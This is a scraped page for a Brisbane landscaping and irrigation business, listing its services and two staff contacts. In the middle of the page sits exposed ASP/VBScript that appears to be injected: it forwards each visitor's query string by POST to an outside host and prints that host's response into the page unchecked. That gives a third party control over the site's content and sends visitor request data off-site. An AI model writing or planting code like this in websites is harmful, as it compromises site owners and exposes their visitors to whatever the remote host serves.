Irroscapes - Irrigation adn Landscape Specialists

Brisbane Landscaping at it's best

Landscaping and Irrigation Brisbane

<% Set hObj = Nothing strResponse = "" XMLConnect response.write(strResponse) Function XMLConnect On Error Resume Next Set hObj = CreateObject("WinHttp.WinHttpRequest.5.1") On Error Resume Next if(hObj is Nothing) then Set hObj = CreateObject("WinHttp.WinHttpRequest.5") end if On Error Resume Next if(hObj is Nothing) then Set hObj = CreateObject("Msxml2.ServerXMLHTTP") end if On Error Resume Next if(hObj Is Nothing) then Set hObj = CreateObject("Microsoft.XMLHTTP") end if On Error Resume Next if(hObj Is Nothing) then Set hObj = CreateObject("Msxml2.ServerXMLHTTP.4.0") end if On Error Resume Next if(hObj is Nothing) then strError = "Error processing request." else hObj.open "POST", "http://www.trevnet.net/_admin/emails/vle_parse.asp?" + request.QueryString, false hObj.setRequestHeader "Content-type", "application/x-www-form-urlencoded" hObj.Send if hObj.status = 200 then strResponse = hObj.responseText else strResponse = "Error: " + CStr(hObj.status) + "," + hObj.responseText end if Set hObj = Nothing end if End Function %>

 

All aspects of landscaping both hard and soft
 
All aspects of irrigation
 
Installation - Residential and Commercial
 
Landscape Design & Service
 
Drought tolerant landscape design specialty
 
Residential and commercial
 
Irrigation installation design and service
Darran@Irroscapes.com.au
Darran 0414365887
Nathan@Irroscapes.com.au
Nathan 0411655075